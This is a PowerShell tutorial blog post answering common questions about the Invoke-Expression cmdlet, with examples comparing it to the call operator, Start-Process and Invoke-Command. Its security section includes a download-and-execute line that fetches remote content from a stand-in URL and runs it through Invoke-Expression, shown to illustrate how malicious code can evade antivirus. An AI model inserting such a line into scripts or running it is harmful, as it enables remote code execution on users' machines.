---
title: "Invoke-Expression: Pros, Cons, and Best Practices"
description: "Understand the benefits and drawbacks of Invoke-Expression and implement it effectively."
canonical: "https://adamtheautomator.com/invoke-expression/"
---

# Invoke-Expression: Pros, Cons, and Best Practices

> Understand the benefits and drawbacks of Invoke-Expression and implement it effectively.

Source: https://adamtheautomator.com/invoke-expression/

---

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# Invoke-Expression: Pros, Cons, and Best Practices

[![](https://secure.gravatar.com/avatar/06ab692f58fa7256ef14d0c099c863b6a12b9692e9c117a0337cc6468f359714?s=192&d=mm&r=g)Nathan Kasco](https://adamtheautomator.com/author/nate/)13 August 20194 min. read

Categories: [IT Ops](/category/it-ops/)

Tags:[PowerShell](/tag/powershell/)

Table of Contents

*   [What is Invoke-Expression?](#what-is-invoke-expression)
*   [What if I have spaces in my script path?](#what-if-i-have-spaces-in-my-script-path)
*   [Q. How do you pass parameters to scripts invoked with Invoke-Expression?](#q-how-do-you-pass-parameters-to-scripts-invoked-with-invoke-expression)
*   [Does try/catch make sense with Invoke-Expression?](#does-trycatch-make-sense-with-invoke-expression)
*   [What’s the difference between Invoke-Expression and the call operator (&)?](#whats-the-difference-between-invoke-expression-and-the-call-operator-)
*   [What’s the difference between Invoke-Expression and Start-Process?](#whats-the-difference-between-invoke-expression-and-start-process)
*   [What’s the difference between Invoke-Expression and Invoke-Command?](#whats-the-difference-between-invoke-expression-and-invoke-command)
*   [What’s the difference between Invoke-Expression and Invoke-Item?](#whats-the-difference-between-invoke-expression-and-invoke-item)
*   [Is Invoke-Expression secure?](#is-invoke-expression-secure)
*   [What are some best practices for executing multiple commands/expressions?](#what-are-some-best-practices-for-executing-multiple-commandsexpressions)
*   [How do I use Invoke-Expression with user input?](#how-do-i-use-invoke-expression-with-user-input)
*   [Conclusion](#conclusion)
*   [Further Reading](#further-reading)

The Invoke-Expression PowerShell cmdlet can be easy to misunderstand when and when not to use it. In this article, I’ve put together a number of  top FAQs. I’m going to break them down and include tons of useful examples for you to reference whenever you might need them. That means you should bookmark this page right now!

> Want more tips like this? Check out my personal PowerShell blog at: [https://www.nkasco.com/](https://www.nkasco.com/)

## What is `Invoke-Expression`?

The official description, [per Microsoft](https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/invoke-expression?view=powershell-7.6) is, “The `Invoke-Expression` cmdlet evaluates or runs a specified string as a command and returns the results of the expression or command. Without `Invoke-Expression`, a string submitted at the command line would be returned (echoed) unchanged.”

In other words, it can be useful for calling code within a script or building commands to be executed later. It can also be used cautiously in combination with user provided input.

The most basic example of using `Invoke-Expression` is defining a script and passing that string to the `Command` parameter. `Invoke-Expression` then executes that string.

```powershell
#Run a PowerShell command via Invoke-Expression
$Command = 'Get-Process'
Invoke-Expression -Command $Command

#Execute a script via Invoke-Expression
$MyScript = '.\MyScript.ps1'
Invoke-Expression -Command $MyScript
```

## What if I have spaces in my script path?

Ensure you enclose strings with single or double quotes.

For example, if you’d like to execute a string with a space in the path, these options will not work:

```powershell
# These don't work
$MyScript = "C:\Folder Path\MyScript.ps1"
#or
$MyScript = "'C:\Folder Path\MyScript.ps1'"
Invoke-Expression $MyScript
```

Why? Because this is exactly the same thing as typing this directly in the PowerShell console:

```powershell
PS51> C:\Folder Path\MyScript.ps1
```

However, if you enclose the path item in single or double quotes with the entire string in quotes, `Invoke-Expression` will execute the script as expected.

```powershell
$MyScript = "C:\'Folder Path'\MyScript.ps1"
Invoke-Expression $MyScript
```

## **Q.** How do you pass parameters to scripts invoked with `Invoke-Expression`?

The only parameter `Invoke-Expression` has is `Command`. There is no native way to pass parameters with `Invoke-Expression`. However, instead, you can include them in the string you pass to the `Command` parameter.

Perhaps I have a script with two parameters called `Path` and `Force`. Instead of using a specific parameter via `Invoke-Expression`, you can pass parameters to that script by passing them as you typically would via the console.

If you would typically call this script like this via the console:

```powershell
PS51> & 'C:\Scripts\MyScript.ps1' -Path 'C:\file.txt' -Force
```

You have to include that entire line in a string and then pass that string to the `Command` parameter.

```powershell
$scriptPath = 'C:\Scripts\MyScript.ps1'
$params = '-Path "C:\file.txt" -Force'
Invoke-Expression "$scriptPath $params"
# or
$string = 'C:\Scripts\MyScript.ps1 -Path "C:\file.txt" -Force'
Invoke-Expression $string
```

## Does try/catch make sense with Invoke-Expression?

Not really. This means you need to use error handling within your `Command` parameter.

**Example:**

```powershell
# Doesn't work - Invoke-Expression doesn't act as a global error handler!
try{
    $Command = 'Get-Process powerhell'
    Invoke-Expression $Command -ErrorAction Stop
} catch {
    Write-Host "Oops, something went wrong!"
}
```

## What’s the difference between `Invoke-Expression` and the call operator (`&`)?

The call operator (&) is great to quickly run a command, script, or script block. However, the call operator does not parse the command. It cannot interpret command parameters as Invoke-Expression can.

For example, perhaps I’d like to get the PowerShell Core process using the `Get-Process` cmdlet usin the code `Get-Process -ProcessName pwsh`. Concatenating `Get-Process` and the parameter will not work as expected using the call operator.

```powershell
$a = "Get-Process"

## Doesn't work
& "$a pwsh"
```

But if you execute this string with `Invoke-Expression`, it will work as expected.

```powershell
Invoke-Expression "$a pwsh"
```

## What’s the difference between `Invoke-Expression` and `Start-Process`?

The `Start-Process` cmdlet provides a return or exit code in the returned object. It allows you to wait for the called process to complete and allows you to launch a process under a different Windows credential. `Invoke-Expression` is quick and dirty whereas `Start-Process` can be more useful for interpreting results of the executed process.

## What’s the difference between `Invoke-Expression` and `Invoke-Command`?

`Invoke-Expression` only “converts” a string to executable code. `Invoke-Command`, on the other hand, leverages [PowerShell Remoting](https://adamtheautomator.com/psremoting/ "PowerShell Remoting") giving you the ability to invoke code locally or remotely on computers.

`Invoke-Command` is preferable if you are writing the executed commands now, as you retain intellisense in your IDE whereas `Invoke-Expression` would be preferable if you wanted to call another script from within your current one.

**Example:**

```powershell
#These both work the same way, but we lost our intellisense with the Invoke-Expression example.
Invoke-Command -ScriptBlock {
    Get-Process Chrome
    Get-Process Powershell
}

Invoke-Expression -Command "
Get-Process Chrome
Get-Process Powershell
"
```

## What’s the difference between `Invoke-Expression` and `Invoke-Item`?

The `Invoke-Item` cmdlet gives you inline support for multiple paths to open documents with their default action, with parameters for including, excluding, adding credentials, and even confirmation for additional security.

## Is Invoke-Expression secure?

**A.** If someone had malicious intent they might be able to trick some virus programs by masking malicious code that constructs itself during runtime. `Invoke-Expression` will happily execute whatever text is passed to it’s `Command` parameter.

**Example:**

```powershell
$Command = "(Invoke-Webrequest -Uri `"http://website.com/CompletelySafeCode`").Content"
Invoke-Expression $Command
```

## What are some best practices for executing multiple commands/expressions?

If you have multiple commands to execute, even though `Invoke-Expression` only accepts a string rather than an array, we can use the PowerShell pipeline to send objects down the pipeline one at a time.

**Example:**

```powershell
# Doesn't work
$MyCollection = @(
    'Get-Process Chrome',
    'Get-Service bits'
)
Invoke-Expression $MyCollection

# Works
'Get-Process Chrome', 'Get-Service bits' | Invoke-Expression
```

## How do I use `Invoke-Expression` with user input?

You should be very cautious with using Invoke-Expression with user input. If you allow a prompt to a user in a way that gives them access outside of the command you are intending to execute, it could create an unwanted vulnerability. Here is one way you can safely implement user input with `Invoke-Expression`.

```powershell
do{
    $Response = Read-Host "Please enter a process name"
    $RunningProcesses = Get-Process

    #Validate the user input here before proceeding
    if($Response -notin $RunningProcesses.Name){
        Write-Host "That process wasn't found, please try again.`n" #Avoid using $Response here
    }
} until ($Response -in $RunningProcesses.Name)

$Command = "Get-Process $Response"
Invoke-Expression $Command
```

## Conclusion

Every cmdlet has their place and `Invoke-Expression` is one that just about everyone will run into at one point or another. It’s important to understand the pros and cons of frequently used cmdlets so that you are implementing them in a way that sets yourself up for success. I’m curious to hear how you have used `Invoke-Expression` to solve some of your own challenges, leave a comment below and share your story!

> _Want more tips like this? Check out my personal PowerShell blog at: [https://www.nkasco.com/](https://www.nkasco.com/)_

## Further Reading

*   **_[A Better PowerShell Start Process](https://adamtheautomator.com/start-process/)_**
*   [**_Invoke-Command: The Best Way to Run Remote Code_**](https://adamtheautomator.com/invoke-command/)
*   **_[PowerShell Variables in Strings](https://adamtheautomator.com/powershell-variable-in-strings/)_**
*   **_[Using PowerShell to escape double quotes and all things strings](https://adamtheautomator.com/powershell-escape-double-quotes/)_**

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